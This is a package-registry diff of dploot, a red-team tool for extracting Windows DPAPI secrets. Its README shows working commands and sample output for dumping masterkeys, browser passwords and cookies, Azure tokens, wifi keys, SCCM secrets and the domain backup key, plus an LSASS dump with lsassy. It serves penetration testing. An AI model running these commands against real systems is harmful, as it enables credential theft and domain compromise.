dploot 2.7.4__tar.gz → 3.0.0__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- {dploot-2.7.4 → dploot-3.0.0}/PKG-INFO +134 -50
- {dploot-2.7.4 → dploot-3.0.0}/README.md +133 -49
- {dploot-2.7.4 → dploot-3.0.0}/dploot/action/backupkey.py +32 -21
- dploot-3.0.0/dploot/action/blob.py +167 -0
- dploot-3.0.0/dploot/action/browser.py +167 -0
- {dploot-2.7.4 → dploot-3.0.0}/dploot/action/certificates.py +61 -43
- {dploot-2.7.4 → dploot-3.0.0}/dploot/action/credentials.py +56 -38
- {dploot-2.7.4 → dploot-3.0.0}/dploot/action/machinecertificates.py +52 -45
- {dploot-2.7.4 → dploot-3.0.0}/dploot/action/machinecredentials.py +48 -45
- dploot-3.0.0/dploot/action/machinemasterkeys.py +117 -0
- dploot-3.0.0/dploot/action/machinetriage.py +158 -0
- {dploot-2.7.4 → dploot-3.0.0}/dploot/action/machinevaults.py +50 -41
- {dploot-2.7.4 → dploot-3.0.0}/dploot/action/masterkeys.py +77 -52
- {dploot-2.7.4 → dploot-3.0.0}/dploot/action/mobaxterm.py +67 -25
- dploot-3.0.0/dploot/action/rdg.py +132 -0
- {dploot-2.7.4 → dploot-3.0.0}/dploot/action/sccm.py +50 -47
- dploot-3.0.0/dploot/action/triage.py +187 -0
- {dploot-2.7.4 → dploot-3.0.0}/dploot/action/vaults.py +57 -39
- dploot-3.0.0/dploot/action/wam.py +133 -0
- dploot-3.0.0/dploot/action/wifi.py +137 -0
- {dploot-2.7.4 → dploot-3.0.0}/dploot/entry.py +31 -26
- dploot-3.0.0/dploot/lib/crypto.py +314 -0
- dploot-3.0.0/dploot/lib/dpapi.py +302 -0
- dploot-3.0.0/dploot/lib/smb.py +494 -0
- {dploot-2.7.4 → dploot-3.0.0}/dploot/lib/target.py +92 -72
- dploot-3.0.0/dploot/lib/utils.py +99 -0
- {dploot-2.7.4 → dploot-3.0.0}/dploot/lib/wmi.py +25 -11
- {dploot-2.7.4 → dploot-3.0.0}/dploot/triage/backupkey.py +26 -24
- dploot-3.0.0/dploot/triage/browser.py +335 -0
- dploot-3.0.0/dploot/triage/certificates.py +428 -0
- dploot-3.0.0/dploot/triage/credentials.py +169 -0
- dploot-3.0.0/dploot/triage/masterkeys.py +356 -0
- dploot-3.0.0/dploot/triage/mobaxterm.py +660 -0
- dploot-3.0.0/dploot/triage/rdg.py +256 -0
- dploot-3.0.0/dploot/triage/sccm.py +302 -0
- dploot-3.0.0/dploot/triage/vaults.py +314 -0
- dploot-3.0.0/dploot/triage/wam.py +250 -0
- dploot-3.0.0/dploot/triage/wifi.py +435 -0
- dploot-3.0.0/pyproject.toml +85 -0
- dploot-2.7.4/dploot/action/browser.py +0 -127
- dploot-2.7.4/dploot/action/machinemasterkeys.py +0 -108
- dploot-2.7.4/dploot/action/machinetriage.py +0 -152
- dploot-2.7.4/dploot/action/rdg.py +0 -126
- dploot-2.7.4/dploot/action/triage.py +0 -189
- dploot-2.7.4/dploot/action/wifi.py +0 -120
- dploot-2.7.4/dploot/lib/crypto.py +0 -268
- dploot-2.7.4/dploot/lib/dpapi.py +0 -259
- dploot-2.7.4/dploot/lib/smb.py +0 -220
- dploot-2.7.4/dploot/lib/utils.py +0 -61
- dploot-2.7.4/dploot/triage/browser.py +0 -241
- dploot-2.7.4/dploot/triage/certificates.py +0 -276
- dploot-2.7.4/dploot/triage/credentials.py +0 -141
- dploot-2.7.4/dploot/triage/masterkeys.py +0 -181
- dploot-2.7.4/dploot/triage/mobaxterm.py +0 -365
- dploot-2.7.4/dploot/triage/rdg.py +0 -208
- dploot-2.7.4/dploot/triage/sccm.py +0 -198
- dploot-2.7.4/dploot/triage/vaults.py +0 -172
- dploot-2.7.4/dploot/triage/wifi.py +0 -192
- dploot-2.7.4/pyproject.toml +0 -36
- {dploot-2.7.4 → dploot-3.0.0}/LICENSE +0 -0
- {dploot-2.7.4 → dploot-3.0.0}/dploot/__init__.py +0 -0
- {dploot-2.7.4 → dploot-3.0.0}/dploot/action/__init__.py +0 -0
- {dploot-2.7.4 → dploot-3.0.0}/dploot/lib/__init__.py +0 -0
- {dploot-2.7.4 → dploot-3.0.0}/dploot/triage/__init__.py +0 -0
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
Metadata-Version: 2.1
|
|
2
2
|
Name: dploot
|
|
3
|
-
Version:
|
|
3
|
+
Version: 3.0.0
|
|
4
4
|
Summary: DPAPI looting remotely in Python
|
|
5
5
|
Home-page: https://github.com/zblurx/dploot
|
|
6
6
|
License: MIT
|
|
@@ -39,6 +39,7 @@ If you don't know what is DPAPI, [check out this post](https://posts.specterops.
|
|
|
39
39
|
- [Kerberos](#kerberos)
|
|
40
40
|
- [How to use](#how-to-use)
|
|
41
41
|
- [As a local administrator on the machine](#as-a-local-administrator-on-the-machine)
|
|
42
|
+
- [With offline access to the Windows' filesystem](#with-offline-access-to-the-windows-filesystem)
|
|
42
43
|
- [As a domain administrator (or equivalent)](#as-a-domain-administrator-or-equivalent)
|
|
43
44
|
- [Not as a domain administrator](#not-as-a-domain-administrator)
|
|
44
45
|
- [Commands](#commands)
|
|
@@ -61,8 +62,9 @@ If you don't know what is DPAPI, [check out this post](https://posts.specterops.
|
|
|
61
62
|
- [sccm](#sccm)
|
|
62
63
|
- [backupkey](#backupkey)
|
|
63
64
|
- [mobaxterm](#mobaxterm)
|
|
65
|
+
- [wam](#wam)
|
|
66
|
+
- [blob](#blob)
|
|
64
67
|
- [Credits](#credits)
|
|
65
|
-
- [TODO](#TODO)
|
|
66
68
|
|
|
67
69
|
## Installation
|
|
68
70
|
|
|
@@ -87,33 +89,39 @@ sudo apt install python3-dploot
|
|
|
87
89
|
## Usage
|
|
88
90
|
|
|
89
91
|
```text
|
|
90
|
-
|
|
92
|
+
dploot (https://github.com/zblurx/dploot) v3.0.0 by @_zblurx
|
|
93
|
+
usage: dploot [-h]
|
|
94
|
+
{certificates,credentials,masterkeys,vaults,backupkey,blob,rdg,sccm,triage,machinemasterkeys,machinecredentials,machinevaults,machinecertificates,machinetriage,browser,wifi,mobaxterm,wam}
|
|
95
|
+
...
|
|
91
96
|
|
|
92
|
-
DPAPI looting remotely in Python
|
|
97
|
+
DPAPI looting locally remotely in Python
|
|
93
98
|
|
|
94
99
|
positional arguments:
|
|
95
|
-
{
|
|
100
|
+
{backupkey,blob,browser,certificates,credentials,machinecertificates,machinecredentials,machinemasterkeys,machinetriage,machinevaults,masterkeys,mobaxterm,rdg,sccm,triage,vaults,wam,wifi}
|
|
96
101
|
Action
|
|
97
|
-
certificates Dump users certificates from remote target
|
|
98
|
-
credentials Dump users Credential Manager blob from remote target
|
|
99
|
-
masterkeys Dump users masterkey from remote target
|
|
100
|
-
vaults Dump users Vaults blob from remote target
|
|
101
102
|
backupkey Backup Keys from domain controller
|
|
102
|
-
|
|
103
|
-
|
|
104
|
-
|
|
105
|
-
|
|
106
|
-
machinevaults Dump system vaults from remote target
|
|
103
|
+
blob Decrypt DPAPI blob. Can fetch masterkeys on target
|
|
104
|
+
browser Dump users credentials and cookies saved in browser from local or remote target
|
|
105
|
+
certificates Dump users certificates from local or remote target
|
|
106
|
+
credentials Dump users Credential Manager blob from local or remote target
|
|
107
107
|
machinecertificates
|
|
108
|
-
Dump system certificates from remote target
|
|
109
|
-
|
|
110
|
-
|
|
111
|
-
|
|
108
|
+
Dump system certificates from local or remote target
|
|
109
|
+
machinecredentials Dump system credentials from local or remote target
|
|
110
|
+
machinemasterkeys Dump system masterkey from local or remote target
|
|
111
|
+
machinetriage Loot SYSTEM Masterkeys (if not set), SYSTEM credentials, SYSTEM certificates and SYSTEM vaults from local or remote
|
|
112
|
+
target
|
|
113
|
+
machinevaults Dump system vaults from local or remote target
|
|
114
|
+
masterkeys Dump users masterkey from local or remote target
|
|
115
|
+
mobaxterm Dump Passwords and Credentials from MobaXterm
|
|
116
|
+
rdg Dump users saved password information for RDCMan.settings from local or remote target
|
|
117
|
+
sccm Dump SCCM secrets (NAA, Collection variables, tasks sequences credentials) from local or remote target
|
|
118
|
+
triage Loot Masterkeys (if not set), credentials, rdg, certificates, browser and vaults from local or remote target
|
|
119
|
+
vaults Dump users Vaults blob from local or remote target
|
|
120
|
+
wam Dump users cached azure tokens from local or remote target
|
|
121
|
+
wifi Dump wifi profiles from local or remote target
|
|
112
122
|
|
|
113
123
|
options:
|
|
114
124
|
-h, --help show this help message and exit
|
|
115
|
-
-debug Turn DEBUG output ON
|
|
116
|
-
-quiet Only output dumped credentials
|
|
117
125
|
```
|
|
118
126
|
|
|
119
127
|
### Kerberos
|
|
@@ -129,23 +137,38 @@ The goal of dploot is to simplify DPAPI related loot from a Linux box. As SharpD
|
|
|
129
137
|
Whenever you are local administrator of a windows computer, you can loot machine secrets, for example with [machinecertificates](#machinecertificates) (or any other [Machine Triage](#machine-triage) commands, or [wifi](#wifi) command):
|
|
130
138
|
|
|
131
139
|
```text
|
|
132
|
-
$ dploot machinecertificates -d waza.local -u Administrator -p 'Password!123' 192.168.56.14 -quiet
|
|
140
|
+
$ dploot machinecertificates -d waza.local -u Administrator -p 'Password!123' -t 192.168.56.14 -quiet
|
|
133
141
|
[-] Writting certificate to DESKTOP-OJ3N8TJ.waza.local_796449B12B788ABA.pfx
|
|
134
142
|
```
|
|
135
143
|
|
|
144
|
+
### With offline access to the Windows' filesystem
|
|
145
|
+
|
|
146
|
+
A different way of gaining local administrator access to a system, for instance via physical access, extracting the drive and mounting the filesystem directly on your machine. To use this mode, specify `LOCAL` as the target. By default the target filesystem is expected to be the current directory, you can specify a different path with `-root`:
|
|
147
|
+
|
|
148
|
+
```text
|
|
149
|
+
$ dploot sccm -root /media/C_drive/ LOCAL
|
|
150
|
+
[*] Connected to LOCAL as \None (admin)
|
|
151
|
+
```
|
|
152
|
+
|
|
153
|
+
It can still be useful to give valid username and password as arguments, which will be used to decrypt masterkeys (see the instructions in [User Triage](#user-triage) below):
|
|
154
|
+
```text
|
|
155
|
+
$ dploot masterkeys -root /mnt -u bob -p Password LOCAL
|
|
156
|
+
[*] Connected to LOCAL as \bob (admin)
|
|
157
|
+
```
|
|
158
|
+
|
|
136
159
|
### As a domain administrator (or equivalent)
|
|
137
160
|
|
|
138
161
|
If you have domain admin privileges, you can obtain the domain DPAPI backup key with the backupkey command. This key can decrypt any DPAPI masterkeys for domain users and computers, and it will never change. Therefore, this key allow attacker to loot any DPAPI protected password realted to a domain user.
|
|
139
162
|
|
|
140
163
|
To obtain the domain backupkey, you can use [backupkey](#backupkey) command:
|
|
141
164
|
```text
|
|
142
|
-
$ dploot backupkey -d waza.local -u Administrator -p 'Password!123' 192.168.56.112 -quiet
|
|
165
|
+
$ dploot backupkey -d waza.local -u Administrator -p 'Password!123' -t 192.168.56.112 -quiet
|
|
143
166
|
[-] Exporting domain backupkey to file key.pvk
|
|
144
167
|
```
|
|
145
168
|
|
|
146
169
|
Then you can loot any user secrets stored on a windows domain-joined computer on the network, for example with [certificates](#certificates) command (or any other [User Triage](#user-triage) commands):
|
|
147
170
|
```
|
|
148
|
-
$ dploot certificates -d waza.local -u Administrator -p 'Password!123' 192.168.56.14 -pvk key.pvk -quiet
|
|
171
|
+
$ dploot certificates -d waza.local -u Administrator -p 'Password!123' -t 192.168.56.14 -pvk key.pvk -quiet
|
|
149
172
|
[-] Writting certificate to jsmith_waza.local_C0F800ECBA7BE997.pfx
|
|
150
173
|
[-] Writting certificate to jsmith_waza.local_D0C73E2C04BEAAB0.pfx
|
|
151
174
|
[-] Writting certificate to m.scott_waza.local_EB9C21A5642D4EBD.pfx
|
|
@@ -156,7 +179,7 @@ $ dploot certificates -d waza.local -u Administrator -p 'Password!123' 192.168.5
|
|
|
156
179
|
If domain admin privileges have not been obtained (yet), using Mimikatz' sekurlsa::dpapi command will retrieve DPAPI masterkey {GUID}:SHA1 mappings of any loaded master keys (user and SYSTEM) on a given system (tip: running dpapi::cache after key extraction will give you a nice table). If you change these keys to a {GUID1}:SHA1 {GUID2}:SHA1... type format, they can be supplied to dploot to triage the box. Use can also use [lsassy](https://github.com/Hackndo/lsassy) to harvest decrypted masterkeys:
|
|
157
180
|
|
|
158
181
|
```text
|
|
159
|
-
$ lsassy -u Administrator -p 'Password!123' -d waza.local 192.168.56.14 -m rdrleakdiag -M masterkeys
|
|
182
|
+
$ lsassy -u Administrator -p 'Password!123' -d waza.local -t 192.168.56.14 -m rdrleakdiag -M masterkeys
|
|
160
183
|
[+] 192.168.56.14 Authentication successful
|
|
161
184
|
[+] 192.168.56.14 Lsass dumped in C:\Windows\Temp\ff32F.fon (57121318 Bytes)
|
|
162
185
|
[+] 192.168.56.14 Lsass dump deleted
|
|
@@ -168,7 +191,7 @@ $ lsassy -u Administrator -p 'Password!123' -d waza.local 192.168.56.14 -m rdrle
|
|
|
168
191
|
Then you can use this masterkey file to loot the targeted computer, for example with [browser](#browser) command (or any other [User Triage](#user-triage) commands):
|
|
169
192
|
|
|
170
193
|
```text
|
|
171
|
-
$ dploot browser -d waza.local -u Administrator -p 'Password!123' 192.168.56.14 -mkfile /data/masterkeys
|
|
194
|
+
$ dploot browser -d waza.local -u Administrator -p 'Password!123' -t 192.168.56.14 -mkfile /data/masterkeys
|
|
172
195
|
[*] Connected to 192.168.56.14 as waza.local\Administrator (admin)
|
|
173
196
|
|
|
174
197
|
[*] Triage Browser Credentials for ALL USERS
|
|
@@ -179,18 +202,20 @@ Username: zblurx@gmail.com
|
|
|
179
202
|
Password: Waza1234
|
|
180
203
|
```
|
|
181
204
|
|
|
205
|
+
You can also dump masterkey hashes with `-hashes-outputfile` option of [dploot masterkeys](#masterkeys)
|
|
206
|
+
|
|
182
207
|
## Commands
|
|
183
208
|
|
|
184
209
|
### User Triage
|
|
185
210
|
|
|
186
211
|
#### masterkeys
|
|
187
212
|
|
|
188
|
-
The **masterkeys** command will get any user masterkey file and decrypt them with `-passwords FILE` combo of user:password, `-nthashes` combo of user:nthash or a `-pvk PVKFILE` domain backup key. It will return a set of masterkey {GUID}:SHA1 mappings. Note that it will try to use password or nthash that you used to connect to the target even if you don't specify corresponding options.
|
|
213
|
+
The **masterkeys** command will get any user masterkey file and decrypt them with `-passwords FILE` combo of user:password, `-nthashes` combo of user:nthash or a `-pvk PVKFILE` domain backup key. It will return a set of masterkey {GUID}:SHA1 mappings. Note that it will try to use password or nthash that you used to connect to the target even if you don't specify corresponding options. You can eventually use `-hashes-outputfile` to get every masterkey hashes in Hashcat/JtR format in order to crack cleartext password.
|
|
189
214
|
|
|
190
215
|
*With domain backupkey*:
|
|
191
216
|
|
|
192
217
|
```text
|
|
193
|
-
$ dploot masterkeys -d waza.local -u Administrator -p 'Password!123' 192.168.57.5 -pvk key.pvk
|
|
218
|
+
$ dploot masterkeys -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -pvk key.pvk
|
|
194
219
|
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)
|
|
195
220
|
|
|
196
221
|
[*] Triage ALL USERS masterkeys
|
|
@@ -205,7 +230,7 @@ $ dploot masterkeys -d waza.local -u Administrator -p 'Password!123' 192.168.57.
|
|
|
205
230
|
```text
|
|
206
231
|
$ cat passwords
|
|
207
232
|
jsmith:Password#123
|
|
208
|
-
$ dploot masterkeys -d waza.local -u jsmith -p 'Password#123' 192.168.56.14 -passwords passwords
|
|
233
|
+
$ dploot masterkeys -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -passwords passwords
|
|
209
234
|
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)
|
|
210
235
|
|
|
211
236
|
[*] Triage ALL USERS masterkeys
|
|
@@ -224,7 +249,7 @@ The **credentials** command will search for users Credential files and decrypt t
|
|
|
224
249
|
With `mkfile`:
|
|
225
250
|
|
|
226
251
|
```text
|
|
227
|
-
$ dploot credentials -d waza.local -u Administrator -p 'Password!123' 192.168.57.5 -mkfile waza.mkf
|
|
252
|
+
$ dploot credentials -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -mkfile waza.mkf
|
|
228
253
|
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)
|
|
229
254
|
|
|
230
255
|
[*] Triage Credentials for ALL USERS
|
|
@@ -255,7 +280,7 @@ Unknown : Password!123
|
|
|
255
280
|
With `pvk`:
|
|
256
281
|
|
|
257
282
|
```text
|
|
258
|
-
$ dploot credentials -d waza.local -u Administrator -p 'Password!123' 192.168.57.5 -pvk key.pvk
|
|
283
|
+
$ dploot credentials -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -pvk key.pvk
|
|
259
284
|
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)
|
|
260
285
|
|
|
261
286
|
[*] Triage ALL USERS masterkeys
|
|
@@ -285,7 +310,7 @@ The **vaults** command will search for users Vaults secrets and decrypt them wit
|
|
|
285
310
|
With `mkfile`:
|
|
286
311
|
|
|
287
312
|
```text
|
|
288
|
-
$ dploot vaults -d waza.local -u jsmith -p 'Password#123' 192.168.56.14 -mkfile waza.local.mkf
|
|
313
|
+
$ dploot vaults -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -mkfile waza.local.mkf
|
|
289
314
|
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)
|
|
290
315
|
|
|
291
316
|
[*] Triage Vaults for ALL USERS
|
|
@@ -305,7 +330,7 @@ Decoded Password: test
|
|
|
305
330
|
With `pvk`:
|
|
306
331
|
|
|
307
332
|
```text
|
|
308
|
-
$ dploot vaults -d waza.local -u jsmith -p 'Password#123' 192.168.56.14 -pvk key.pvk
|
|
333
|
+
$ dploot vaults -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -pvk key.pvk
|
|
309
334
|
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)
|
|
310
335
|
|
|
311
336
|
[*] Triage ALL USERS masterkeys
|
|
@@ -333,7 +358,7 @@ The **rdg** command will search for users RDCMan.settings files secrets and decr
|
|
|
333
358
|
With `mkfile`:
|
|
334
359
|
|
|
335
360
|
```text
|
|
336
|
-
$ dploot rdg -d waza.local -u jsmith -p 'Password#123' 192.168.56.14 -mkfile waza.local.mkf
|
|
361
|
+
$ dploot rdg -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -mkfile waza.local.mkf
|
|
337
362
|
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)
|
|
338
363
|
|
|
339
364
|
[*] Triage RDCMAN Settings and RDG files for ALL USERS
|
|
@@ -364,7 +389,7 @@ $ dploot rdg -d waza.local -u jsmith -p 'Password#123' 192.168.56.14 -mkfile waz
|
|
|
364
389
|
With `pvk`:
|
|
365
390
|
|
|
366
391
|
```text
|
|
367
|
-
dploot rdg -d waza.local -u jsmith -p 'Password#123' 192.168.56.14 -pvk key.pvk
|
|
392
|
+
dploot rdg -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -pvk key.pvk
|
|
368
393
|
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)
|
|
369
394
|
|
|
370
395
|
[*] Triage ALL USERS masterkeys
|
|
@@ -405,7 +430,7 @@ The **certificates** command will search for users certificates from *MY* and de
|
|
|
405
430
|
With `mkfile`:
|
|
406
431
|
|
|
407
432
|
```text
|
|
408
|
-
$ dploot certificates -d waza.local -u Administrator -p 'Password!123' 192.168.57.5 -mkfile waza.mkf
|
|
433
|
+
$ dploot certificates -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -mkfile waza.mkf
|
|
409
434
|
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)
|
|
410
435
|
|
|
411
436
|
[*] Triage Certificates for ALL USERS
|
|
@@ -437,7 +462,7 @@ DfaOwrwiSOoINEPSRHXEn2L7gjX111h1SqKCdLQ8s9mhR1F063lZzbEfGBNG7di0
|
|
|
437
462
|
With `pvk`:
|
|
438
463
|
|
|
439
464
|
```text
|
|
440
|
-
$ dploot certificates -d waza.local -u Administrator -p 'Password!123' 192.168.57.5 -pvk key.pvk
|
|
465
|
+
$ dploot certificates -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -pvk key.pvk
|
|
441
466
|
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)
|
|
442
467
|
|
|
443
468
|
[*] Triage ALL USERS masterkeys
|
|
@@ -483,7 +508,7 @@ The **browser** command will search for users password and cookies in chrome bas
|
|
|
483
508
|
With `mkfile`:
|
|
484
509
|
|
|
485
510
|
```text
|
|
486
|
-
$ dploot browser -d waza.local -u Administrator -p 'Password!123' 192.168.57.5 -mkfile waza.mkf
|
|
511
|
+
$ dploot browser -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -mkfile waza.mkf
|
|
487
512
|
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)
|
|
488
513
|
|
|
489
514
|
[*] Triage Browser Credentials for ALL USERS
|
|
@@ -497,7 +522,7 @@ Password: Password!123
|
|
|
497
522
|
With `pvk`:
|
|
498
523
|
|
|
499
524
|
```text
|
|
500
|
-
$ dploot browser -d waza.local -u Administrator -p 'Password!123' 192.168.57.5 -pvk key.pvk
|
|
525
|
+
$ dploot browser -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -pvk key.pvk
|
|
501
526
|
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)
|
|
502
527
|
|
|
503
528
|
[*] Triage ALL USERS masterkeys
|
|
@@ -527,7 +552,7 @@ The **triage** command runs the user [credentials](#credentials), [vaults](#vaul
|
|
|
527
552
|
The **machinemasterkeys** command will dump LSA secrets with RemoteRegistry to retrieve DPAPI_SYSTEM key which will the be used to decrypt any found machine masterkeys. It will return a set of masterkey {GUID}:SHA1 mappings.
|
|
528
553
|
|
|
529
554
|
```text
|
|
530
|
-
$ dploot machinemasterkeys -d waza.local -u Administrator -p 'Password!123' 192.168.57.5
|
|
555
|
+
$ dploot machinemasterkeys -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5
|
|
531
556
|
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)
|
|
532
557
|
|
|
533
558
|
[*] Triage SYSTEM masterkeys
|
|
@@ -545,7 +570,7 @@ $ dploot machinemasterkeys -d waza.local -u Administrator -p 'Password!123' 192.
|
|
|
545
570
|
The **machinecredentials** command will get any machine Credentials file found and decrypt them with `-mkfile FILE` of one or more {GUID}:SHA1, otherwise dploot will dump DPAPI_SYSTEM LSA secret key in order to decrypt any machine masterkeys, and then decrypt any found encrypted DPAPI XXX blob.
|
|
546
571
|
|
|
547
572
|
```text
|
|
548
|
-
$ dploot machinecredentials -d waza.local -u Administrator -p 'Password!123' 192.168.57.5
|
|
573
|
+
$ dploot machinecredentials -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5
|
|
549
574
|
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)
|
|
550
575
|
|
|
551
576
|
[*] Triage SYSTEM masterkeys
|
|
@@ -576,7 +601,7 @@ Unknown : Password!123
|
|
|
576
601
|
The **machinevaults** command will get any machine Vaults file found and decrypt them with `-mkfile FILE` of one or more {GUID}:SHA1, otherwise dploot will dump DPAPI_SYSTEM LSA secret key in order to decrypt any machine masterkeys, and then decrypt any found encrypted DPAPI Vaults blob.
|
|
577
602
|
|
|
578
603
|
```text
|
|
579
|
-
$ dploot machinevaults -d waza.local -u jsmith -p 'Password#123' 192.168.56.14
|
|
604
|
+
$ dploot machinevaults -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14
|
|
580
605
|
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)
|
|
581
606
|
|
|
582
607
|
[*] Triage SYSTEM masterkeys
|
|
@@ -600,7 +625,7 @@ The **machinecertificates** command will get any machine private key file found
|
|
|
600
625
|
It will also dump machine CAPI certificates blob with RemoteRegistry.
|
|
601
626
|
|
|
602
627
|
```text
|
|
603
|
-
$ dploot machinecertificates -d waza.local -u Administrator -p 'Password!123' 192.168.57.5
|
|
628
|
+
$ dploot machinecertificates -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5
|
|
604
629
|
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)
|
|
605
630
|
|
|
606
631
|
[*] Triage SYSTEM masterkeys
|
|
@@ -648,7 +673,7 @@ The machinetriage command runs the [machinecredentials](#machinecredentials), [m
|
|
|
648
673
|
The **wifi** command will get any wifi xml configuration file and decrypt them with `-mkfile FILE` of one or more {GUID}:SHA1, otherwise dploot will dump DPAPI_SYSTEM LSA secret key. in order to decrypt any machine masterkeys, and then decrypt any found encrypted DPAPI private key blob.
|
|
649
674
|
|
|
650
675
|
```text
|
|
651
|
-
$ dploot wifi -d waza.local -u Administrator -p 'Password!123' 192.168.57.5
|
|
676
|
+
$ dploot wifi -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5
|
|
652
677
|
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)
|
|
653
678
|
|
|
654
679
|
[*] Triage SYSTEM masterkeys
|
|
@@ -702,7 +727,7 @@ EapHostConfig:
|
|
|
702
727
|
The **sccm** command will retrieve NAA credentials, collection variables and tasks sequences credentials from the remote target and decrypt them with `-mkfile FILE` of one or more {GUID}:SHA1, otherwise dploot will dump DPAPI_SYSTEM LSA secret key. in order to decrypt any machine masterkeys, and then decrypt any found encrypted DPAPI private key blob. Using `-wmi` will dump SCCM secrets from WMI requests results.
|
|
703
728
|
|
|
704
729
|
```text
|
|
705
|
-
$ dploot sccm -d waza.local -u jsmith -p 'Password#123' 192.168.56.14
|
|
730
|
+
$ dploot sccm -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14
|
|
706
731
|
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)
|
|
707
732
|
|
|
708
733
|
[*] Triage SYSTEM masterkeys
|
|
@@ -728,7 +753,7 @@ The **backupkey** command will retrieve the domain DPAPI backup key from a domai
|
|
|
728
753
|
By default, this command will write the domain backup key into a file called key.pvk, but you can change this with `outputfile` flag. It is also possible to dump legacy backup key with `legacy` flag.
|
|
729
754
|
|
|
730
755
|
```text
|
|
731
|
-
$ dploot backupkey -d waza.local -u Administrator -p 'Password!123' 192.168.57.20
|
|
756
|
+
$ dploot backupkey -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.20
|
|
732
757
|
[*] Connected to dc01.waza.local as waza.local\e.cartman (admin)
|
|
733
758
|
|
|
734
759
|
[DOMAIN BACKUPKEY V2]
|
|
@@ -753,7 +778,7 @@ The **mobaxterm** command will extract MobaXterm secrets and masterpassword key
|
|
|
753
778
|
With `pvk`:
|
|
754
779
|
|
|
755
780
|
```text
|
|
756
|
-
dploot mobaxterm -d waza.local -u jsmith -p 'Password#123' 192.168.56.14 -pvk key.pvk
|
|
781
|
+
dploot mobaxterm -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -pvk key.pvk
|
|
757
782
|
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)
|
|
758
783
|
|
|
759
784
|
[*] Triage ALL USERS masterkeys
|
|
@@ -773,6 +798,68 @@ Username: mobauser@mobaserver
|
|
|
773
798
|
Password: 309554moba231082pass322883
|
|
774
799
|
```
|
|
775
800
|
|
|
801
|
+
### wam
|
|
802
|
+
|
|
803
|
+
The **wam** command will search for TBRES files from Token Broker Cache and decrypt their content with `-mkfile FILE` of one or more {GUID}:SHA1, or with `-passwords FILE` combo of user:password, `-nthashes` combo of user:nthash or a `-pvk PVKFILE` to first decrypt masterkeys.
|
|
804
|
+
|
|
805
|
+
With `pvk`:
|
|
806
|
+
|
|
807
|
+
```text
|
|
808
|
+
dploot wam -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -pvk key.pvk
|
|
809
|
+
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)
|
|
810
|
+
|
|
811
|
+
[*] Triage ALL USERS masterkeys
|
|
812
|
+
|
|
813
|
+
{d5efdaf1-9fd9-44e7-8bd1-7e017d458c14}:a7eac2a750069aa576e1e9f03f1dc37b2057adb3
|
|
814
|
+
{13405569-1685-49c7-90e2-0e7ce55e5b8b}:ab1b23d3380c53ac1dae1cdf62bc44b4db391bb9
|
|
815
|
+
|
|
816
|
+
[*] Triage Office Token Broken Cache for ALL USERS
|
|
817
|
+
|
|
818
|
+
[TBRES FILE]
|
|
819
|
+
Version: 1
|
|
820
|
+
expiration: 133668881920000000
|
|
821
|
+
responses: b'\x8aC\xed\x9f\xf4\xe6D!\x0c\x82\x86)\xab\x1d\xf9\xac'
|
|
822
|
+
WTRes_Token: access_token=eyJhb[...]
|
|
823
|
+
```
|
|
824
|
+
|
|
825
|
+
***Tips***: *You can find Microsoft access token for Entra users in TBRES files.*
|
|
826
|
+
|
|
827
|
+
### blob
|
|
828
|
+
|
|
829
|
+
The **blob** command will decrypt DPAPI blob with `-mkfile FILE` of one or more {GUID}:SHA1, `-masterkey {GUID}:SHA1` or with `-passwords FILE` combo of user:password, `-nthashes` combo of user:nthash or a `-pvk PVKFILE` to first decrypt masterkeys.
|
|
830
|
+
|
|
831
|
+
With `pvk`:
|
|
832
|
+
|
|
833
|
+
```text
|
|
834
|
+
dploot blob -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -pvk key.pvk -blob 'AQAAANCMnd8BF[...]'
|
|
835
|
+
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)
|
|
836
|
+
|
|
837
|
+
[*] Triage ALL USERS masterkeys
|
|
838
|
+
|
|
839
|
+
{d5efdaf1-9fd9-44e7-8bd1-7e017d458c14}:a7eac2a750069aa576e1e9f03f1dc37b2057adb3
|
|
840
|
+
